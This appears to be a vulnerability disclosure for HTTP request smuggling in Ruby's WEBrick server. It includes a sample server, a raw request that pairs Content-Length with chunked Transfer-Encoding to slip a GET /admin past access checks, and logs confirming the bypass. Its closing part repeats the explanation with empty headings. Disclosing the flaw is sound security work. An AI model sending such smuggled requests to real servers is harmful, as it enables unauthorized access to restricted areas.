The vulnerability happens because the server doesn't correctly handle requests with both Content-Length and Transfer-Encoding headers. This allows an attacker to sneak in an extra request (e.g., GET /admin) after the normal request (POST /user). As a result, unauthorized users can access restricted areas like /admin by POST /user.
The following Ruby WEBrick sample server was used to process HTTP requests:
require 'webrick'
server = WEBrick::HTTPServer.new(
Port: 8000,
DocumentRoot: Dir.pwd
)
server.mount_proc '/admin' do |req, res|
res.body = "This is the admin area. Only authorized users should see this.\n"
end
server.mount_proc '/user' do |req, res|
res.body = "This is the user area. Welcome!\n"
end
trap('INT') { server.shutdown }
server.start
hacker request
POST /user HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 50
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: 127.0.0.1:8000
server response
Console log
julianwu@RLab:~/Work/ruby/webrick$ ruby test.rb
[2024-09-16 00:20:45] INFO WEBrick 1.8.1
[2024-09-16 00:20:45] INFO ruby 3.0.2 (2021-07-07) [x86_64-linux-gnu]
[2024-09-16 00:20:45] INFO WEBrick::HTTPServer#start: pid=209120 port=8000
127.0.0.1 - - [16/Sep/2024:00:20:46 CST] "POST /user HTTP/1.1" 200 32
- -> /user
127.0.0.1 - - [16/Sep/2024:00:20:46 CST] "GET /admin HTTP/1.1" 200 63
- -> /admin
The vulnerability happens because the server doesn't correctly handle requests with both Content-Length and Transfer-Encoding headers. This allows an attacker to sneak in an extra request (e.g., GET /admin) after the normal request (POST /user). As a result, unauthorized users can access restricted areas like /admin by POST /user.
The following Ruby WEBrick sample server was used to process HTTP requests:
hacker request
server response
Console log